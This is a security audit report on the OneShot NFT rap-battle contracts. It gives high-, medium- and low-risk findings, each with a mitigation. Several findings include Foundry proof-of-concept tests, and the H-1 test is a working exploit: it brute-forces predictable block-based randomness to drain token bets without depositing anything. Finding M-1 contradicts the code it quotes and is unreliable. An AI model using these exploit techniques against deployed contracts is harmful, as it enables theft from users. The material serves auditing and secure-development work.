OneShot Security Audit Report by MK (15th DEC 2024)

High Risk Findings

[H-1] missing check for sufficient `_credBet_` approval

Description: `RapBattle.goOnStageOrBattle()` does not collect credToken from the challenger. It gives challenger credToken instead. The credToken given to the challenger is the bet of the defender, so the defender takes the loss.

Impact: Challenger can steal credToken from the RapBattle contract. The credToken being stolen comes from the defender.

Proof of Concept:

1. This is the vulnerable function:

```
  function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
        if (defender == address(0)) {
            defender = msg.sender;
            defenderBet = _credBet;
            defenderTokenId = _tokenId;

            emit OnStage(msg.sender, _tokenId, _credBet);

            oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
            credToken.transferFrom(msg.sender, address(this), _credBet);
        } else {
            // credToken.transferFrom(msg.sender, address(this), _credBet);
            _battle(_tokenId, _credBet);
        }
    }
```

2. If there is a defender on the stage, the function goes into the else block. Note that `credToken.transferFrom()` is commented out, so challenger can enter the battle for free. In `_battle()`:

```
        // If random <= defenderRapperSkill -> defenderRapperSkill wins, otherwise
they lose
        if (random <= defenderRapperSkill) {
            // We give them the money the defender deposited, and the challenger's
bet
            credToken.transfer(_defender, defenderBet);
            credToken.transferFrom(msg.sender, _defender, _credBet);
        } else {
            // Otherwise, since the challenger never sent us the money, we just
```

```
give the money in the contract
            // @audit-issue can steal credToken from the contract
            credToken.transfer(msg.sender, _credBet);
        }
```

3. In the code above, if challenger can make it into the else block then he will get free credToken. To make sure that `random > defenderRapperSkill` always holds, note that challenger can just observe the outcome and revert if the outcome is not favorable. For example, challenger can check if his credToken balance is increased by _credBet at the end of the PoC. If not, simply revert the whole tx and try again later. Therefore, challenger can always profit from the contract.

4. Add the following test case to `OneShotTest.t.sol`:

```
    function testPoCGoOnStageOrBattle() public {
        // user staking for 4 days
        vm.startPrank(user);
        oneShot.mintRapper(); // _tokenId == 0
        oneShot.approve(address(streets), 0);
        streets.stake(0);
        vm.stopPrank();

        // 4 days later, user go on stage -> becomes defender
        vm.warp(4 days + 1);
        vm.startPrank(user);
        streets.unstake(0);
        oneShot.approve(address(rapBattle), 0);
        cred.approve(address(rapBattle), 4);
        rapBattle.goOnStageOrBattle(0, 4);
        vm.stopPrank();

        // challenger battle and steal token
        vm.startPrank(challenger);
        oneShot.mintRapper(); // _tokenId == 1

        // Note that challenger does not own any credToken at this stage
        console.log("challenger credToken balance before: ",
cred.balanceOf(challenger));

        uint256 defenderRapperSkill = rapBattle.getRapperSkill(0);
        uint256 challengerRapperSkill = rapBattle.getRapperSkill(1);
        uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;

        while (true) {
            // The 3rd argument is challenger instead of msg.sender in our context
            uint256 random = uint256(
                keccak256(
                    abi.encodePacked(
                        block.timestamp,
                        block.prevrandao,
                        challenger
                    )
```

```
                )
            ) % totalBattleSkill;

            console.log("block.timestamp: ", vm.getBlockTimestamp());
            console.log("random: ", random);
            console.log("defenderRapperSkill: ", defenderRapperSkill);
            console.log();

            if (random <= defenderRapperSkill) {
                vm.warp(block.timestamp + 1);
                continue;
            }
            // can specify _credBet == 4 even though challenger does not own any
            rapBattle.goOnStageOrBattle(1, 4);
            break;
        }

        vm.stopPrank();

        // check if the PoC succeeded
        assertEq(cred.balanceOf(challenger), 4);

        console.log("challenger credToken balance after: ",
cred.balanceOf(challenger));
    }
```

Recommended Mitigation:

1. Collect credToken from challenger in goOnStageOrBattle():

```
    function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
        if (defender == address(0)) {
            defender = msg.sender;
            defenderBet = _credBet;
            defenderTokenId = _tokenId;

            emit OnStage(msg.sender, _tokenId, _credBet);

            oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
            credToken.transferFrom(msg.sender, address(this), _credBet);
        } else {
            credToken.transferFrom(msg.sender, address(this), _credBet);
            _battle(_tokenId, _credBet);
        }
    }
```

[H-2] Challenger can use any nft to battle - not necessarily theirs

Description: From the defender's perspective, it is unnecessary to verify whether the msg.sender owns the provided `_tokenId`, as the required NFT is ultimately transferred to the contract by the end of the function

call. However, for the challenger, there is no validation to ensure they actually own the NFT associated with the `_tokenId` they provide, potentially allowing misuse.

Impact: The defender role is at a significant disadvantage, as challengers can provide any _tokenId with superior attributes or skills, thereby increasing their chances of winning unfairly.

Proof of Concept:

1. Alice mint `_tokenId = 0`
2. Alice call `goOnStageOrBattle` function and got the defender role
3. Bob mint `_tokenId = 1`
4. Bob call `Streets::stake` function for 4 days then `unstake` his NFT rapper
5. Slim Shady call `goOnStageOrBattle` using Bob's high skilled rapper `_tokenId = 1`
6. Alice have high chance of losing

add this to the `OneShotTest.t.sol`:

```
    function testBattleUsingOthersNFT(uint256 randomBlock) public {
        address bob = makeAddr("bob");

        // Alice the Defender
        vm.startPrank(user);
        oneShot.mintRapper(); // _tokenId = 0
        oneShot.approve(address(rapBattle), 0);
        rapBattle.goOnStageOrBattle(0, 0);
        vm.stopPrank();

        // Bob the Staker
        vm.startPrank(bob);
        oneShot.mintRapper(); // _tokenId = 1
        oneShot.approve(address(streets), 1);
        streets.stake(1);
        vm.warp(4 days + 1);
        streets.unstake(1);
        vm.stopPrank();

        // Slim Shady the Challenger, he does not have any NFT
        vm.startPrank(challenger);
        // Change the block number so we get different RNG
        vm.roll(randomBlock);
        vm.recordLogs();
        rapBattle.goOnStageOrBattle(1, 0);
        vm.stopPrank();

        Vm.Log[] memory entries = vm.getRecordedLogs();
        // Convert the event bytes32 objects -> address
        address winner = address(uint160(uint256(entries[0].topics[2])));
        console.log("[*] the winner is", winner);
        assert(address(challenger) == winner);
    }
```

7. The test result indicate that Slim Shady the Challenger wins even though he using Bob NFT

Recommended Mitigation:

1. Make sure that `RapBattle::goOnStageOrBattle` check if the `msg.sender` actually own the `_tokenId` used.

```
    function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
+       require(msg.sender == oneShotNft.ownerOf(_tokenId), "Sender not the token
Id owner");
        if (defender == address(0)) {
            defender = msg.sender;
```

[H-3] Weak Randomness while obtaining the Rap Battle winner

Description: Weak Randomness in RapBattle while obtaining the winner by using arbitrary or manipulative values

Impact: Being able to manipulate the random number to win the battles

Proof of Concept:

1. The function `RapBattle::_battle` makes 2 NFTs battle and get a winner from it

```
function _battle(uint256 _tokenId, uint256 _credBet) internal {
        address _defender = defender;
        require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
        uint256 defenderRapperSkill = getRapperSkill(defenderTokenId);
        uint256 challengerRapperSkill = getRapperSkill(_tokenId);
        uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
        uint256 totalPrize = defenderBet + _credBet;

@>      uint256 random = uint256(
            keccak256(
                abi.encodePacked(block.timestamp, block.prevrandao, msg.sender)
            )
        ) % totalBattleSkill;

        // Reset the defender

        defender = address(0);
        emit Battle(
            msg.sender,
            _tokenId,

            random < defenderRapperSkill ? _defender : msg.sender
        );

        // If random <= defenderRapperSkill -> defenderRapperSkill wins, otherwise
```

```
they lose
        if (random <= defenderRapperSkill) {
            // We give them the money the defender deposited, and the challenger's
bet
            credToken.transfer(_defender, defenderBet);
            credToken.transferFrom(msg.sender, _defender, _credBet);
        } else {
            // Otherwise, since the challenger never sent us the money, we just
give the money in the contract
            credToken.transfer(msg.sender, _credBet);
        }
        totalPrize = 0;
        // Return the defender's NFT
        oneShotNft.transferFrom(address(this), _defender, defenderTokenId);
    }
```

2. However, the random factor that determines the winner is not completely random! Blockchain is deterministic! You can exploit all block.timestamp, block.prevrandao and msg.sender!

Recommended Mitigation:

1. Using ChainlinkVRF to obtain a real random number off-chain

Medium Risk Findings

[M-1] `mintRapper` reentrancy leads to fighting having better chances of winning.

Description: The `mintRapper` function in `OneShot.sol` improperly initialises `OneShot::rapperStats` before any gameplay, granting newly minted NFTs unearned skill advantages, which undermines the intended game mechanics.

Impact: It gives an unfair advantage to players who mint new NFTs. Nevertheless the game is also based on chance in the end.

Proof of Concept:

1. The default values of `OneShot::rapperStats` for a newly minted NFT are beneficial to the player (weakKnees: false, heavyArms: false, spaghettiSweater: false, calmAndReady: false, battlesWon: 0). Score +15 already.

2. A malicious player could take control when he receives a NFT with a custom implementation of `onERC721Received`. He will then reenter on `RapBattle::goOnStageOrBattle`.

Recommended Mitigation:

1. Restructure the `OneShot::mintRapper` to follow the Checks-Effects-Interactions pattern strictly. Ensure all state changes are performed before any extenal interaction.

```
function mintRapper() public {
          uint256 tokenId = _nextTokenId++;
-       _safeMint(msg.sender, tokenId);
-        rapperStats[tokenId] =
-            RapperStats({weakKnees: true, heavyArms: true, spaghettiSweater:
true, calmAndReady: false, battlesWon: 0});

+        rapperStats[tokenId] =
+            RapperStats({weakKnees: true, heavyArms: true, spaghettiSweater:
true, calmAndReady: false, battlesWon: 0});
+        _safeMint(msg.sender, tokenId);
    }
```

[M-2] `Streets::unstake` function mints incorrect amount of token to the staker of rapper NFT

Description: The protocol allows users to stake their rapper NFT and earn `CRED` token on the basis of for how long the NFT is staked in the `Streets` contract. Here, `CRED` token is an ERC20 based token with 18 decimals. The expected protocol implementation is to mint 1 `CRED` token per day (max day - 4), to the users who stakes their rapper NFT, but in actual practice it only mints `0.000000000000000001` token.

Impact: Users will receive very negligible amount of `CRED` token i.e., only `0.000000000000000001`

Proof of Concept:

1. The vulnerability is present in the `Streets` contract which allows users to earn `CRED` tokens for their staked rapper.
2. The `CRED` token is an ERC20 contract with 18 decimals, therefore `1` CRED token is considered equivalent to 10^{18} as additional 18 zeroes are used for representing the floating values.
3. The protocol mentions to mint `1` CRED token per day staked for a maximum of 4 days, therefore the equivalent amount of CRED token to mint by considering the decimals in solidity will be 10^{18} but it only mints `0.000000000000000001`.
4. Therefore, users get very negligible amount of `CRED` token.

```
    if (daysStaked >= 1) {
            stakedRapperStats.weakKnees = false;
@>          credContract.mint(msg.sender, 1);
        }
        if (daysStaked >= 2) {
            stakedRapperStats.heavyArms = false;
@>          credContract.mint(msg.sender, 1);
        }
        if (daysStaked >= 3) {
            stakedRapperStats.spaghettiSweater = false;
@>          credContract.mint(msg.sender, 1);
        }
```

```
        if (daysStaked >= 4) {
            stakedRapperStats.calmAndReady = true;
@>          credContract.mint(msg.sender, 1);
        }
```

Recommended Mitigation:

Mint 10^{18} tokens by taking in consideration the 18 decimals being used for `CRED` token, then only it will be equivalent to `1` CRED token.

```
    if (daysStaked >= 1) {
            stakedRapperStats.weakKnees = false;
-           credContract.mint(msg.sender, 1);
+           credContract.mint(msg.sender, 1e18);
        }
        if (daysStaked >= 2) {
            stakedRapperStats.heavyArms = false;
-           credContract.mint(msg.sender, 1);
+           credContract.mint(msg.sender, 1e18);
        }
        if (daysStaked >= 3) {
            stakedRapperStats.spaghettiSweater = false;
-           credContract.mint(msg.sender, 1);
+           credContract.mint(msg.sender, 1e18);
        }
        if (daysStaked >= 4) {
            stakedRapperStats.calmAndReady = true;
-           credContract.mint(msg.sender, 1);
+           credContract.mint(msg.sender, 1e18);
        }
```

Low Risk Findings

[L-1] Contradictory battle result event

Description: Bad equality in the emission of the event `RapBattle::Battle` might return wrong values

Impact: The event might emit wrong information

Proof of Concept:

1. Inside the function `RapBattle::_battle` we have the following snippet:

```
    emit Battle(
        msg.sender,
        _tokenId,

        random < defenderRapperSkill ? _defender : msg.sender
```

```
    );

    // If random <= defenderRapperSkill -> defenderRapperSkill wins, otherwise
they lose
    if (random <= defenderRapperSkill) {
        // We give them the money the defender deposited, and the challenger's bet
        credToken.transfer(_defender, defenderBet);
        credToken.transferFrom(msg.sender, _defender, _credBet);
    } else {
        // Otherwise, since the challenger never sent us the money, we just give
the money in the contract
        credToken.transfer(msg.sender, _credBet);
    }
```

2. As you can see, if the value of `random` and `defenderRapperSkill` are the same, the event emits that the winner is the attacker(msg.sender). However, when giving the rewards, if those variables are equal, the rewards are sent to the defender!

Recommended Mitigation:

1. Use `<=` instead of `<` inside the emit command :

```
emit Battle(
        msg.sender,
        _tokenId,
+       random <= defenderRapperSkill ? _defender : msg.sender
-       random < defenderRapperSkill ? _defender : msg.sender
    );
```

[L-2] The property `battlesWon` is never updated

Description: The property `battlesWon` is never updated

Impact: People can not know how many battles the Rapper NFTs won.

Proof of Concept:

1. The function `RapBattle::_battle` makes 2 NFTs battle and get a winner from it

```
function _battle(uint256 _tokenId, uint256 _credBet) internal {
    .
    .
    .
    if (random <= defenderRapperSkill) {
        // We give them the money the defender deposited, and the challenger's bet
        credToken.transfer(_defender, defenderBet);
        credToken.transferFrom(msg.sender, _defender, _credBet);
    } else {
```

```
        // Otherwise, since the challenger never sent us the money, we just give
the money in the contract
        credToken.transfer(msg.sender, _credBet);
    }
    totalPrize = 0;
    // Return the defender's NFT
    oneShotNft.transferFrom(address(this), _defender, defenderTokenId);
}
```

Recommended Mitigation:

1. Update the value of `battlesWon` inside the if-else clause where the rewards are transfered. However, `OneShot::updateRapperStats` has the modifier `onlyStreetContract` that reverts any call from `RapBattle` or any other contract that is not `Streets`, so it might be useful to add a function that only updates the battle won with a modifier that only allows the call from `RapBattle`.

[L-3] Defender has always more chances to win than expected

Description: In RapBattle.sol, if 'random == defenderRapperSkill' the defender should lose, but they win instead.

Impact: All the battle will be disputed with an additional advantage for the defender, which may lead to a victory for the wrong player.

Proof of Concept:

1. `RapBattle:_battle` does the fight and calculates the victory. This is calculated with the sum of both rappers' points, and a random number is chosen below this maximum. If the score is lower than the defender's points, the defender wins; otherwise, the challenger wins. The problem is that the condition checks if the random number is lower OR EQUAL to the defender points.

Concrete example:

- Defender and attacker have both 50 points.
- totalBattleSkill = 100.
- Defender win if random is between 0 and 50 : 51/100 chances.
- Challenger win if random is between 51 and 99 : 49/100 chances.

```
    function _battle(uint256 _tokenId, uint256 _credBet) internal {
        ...
        uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
        uint256 totalPrize = defenderBet + _credBet;

        uint256 random = uint256(
            keccak256(
                abi.encodePacked(block.timestamp, block.prevrandao, msg.sender)
            )
        ) % totalBattleSkill;

        ...
```

```
        // If random <= defenderRapperSkill -> defenderRapperSkill wins, otherwise
they lose
@>        if (random <= defenderRapperSkill) {
            ...
        }
        ...
    }
```

Recommended Mitigation: Correct the check to be strictly lower.

```
    function _battle(uint256 _tokenId, uint256 _credBet) internal {
        ...
        uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
        uint256 totalPrize = defenderBet + _credBet;

        uint256 random = uint256(
            keccak256(
                abi.encodePacked(block.timestamp, block.prevrandao, msg.sender)
            )
        ) % totalBattleSkill;

        ...
        // If random <= defenderRapperSkill -> defenderRapperSkill wins, otherwise
they lose
-        if (random <= defenderRapperSkill) {
+        if (random < defenderRapperSkill) {
            ...
        }
        ...
    }
```

[L-4] Rappers can Battle Themselves to Avoid Encounters with Stronger Opponents

Description: It is possible to call `RapBattle::goOnStageOrBattle()` consecutively using the same rapper NFT to perform a battle and avoid potential battle losses.

Impact: An attacker could front-run an undesired opponent by calling `RapBattle::goOnStageOrBattle()` again when the current defender is one of their rapper NFTs and battle with themselves.

Proof of Concept:

1. Neither the external function `goOnStageOrBattle()` nor the internal function `_battle()` ensures a rapper NFT cannot battle against itself.
2. In order to observe the behavior explained above, add the following test to `test/OneShotTest.t.sol`:

```
function testBattleMyself() public mintRapper {
    // In order to use 1 cred, lets stake my rapper for 1 day
```

```
        vm.startPrank(user);
        oneShot.approve(address(streets), 0);
        streets.stake(0);
        vm.warp(1 days + 1);
        streets.unstake(0);
        cred.approve(address(rapBattle), 1);

        oneShot.approve(address(rapBattle), 0);
        rapBattle.goOnStageOrBattle(0, 1);
        rapBattle.goOnStageOrBattle(0, 1);
        vm.stopPrank();
    }
```

3. And run it with `forge test -vvvv --mt testBattleMyself`. Observe that it is possible to battle using the same NFT as defender and challenger.

Recommended Mitigation:

1. Consider adding a check to the `_battle()` function to make sure `tokenIDs` cannot battle against themselves.

```
    function _battle(uint256 _tokenId, uint256 _credBet) internal {
        address _defender = defender;
        require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
+     require(defenderTokenId != _tokenId, "RapBattle: Rapper NFT IDs should not
match");
        uint256 defenderRapperSkill = getRapperSkill(defenderTokenId);
        uint256 challengerRapperSkill = getRapperSkill(_tokenId);
```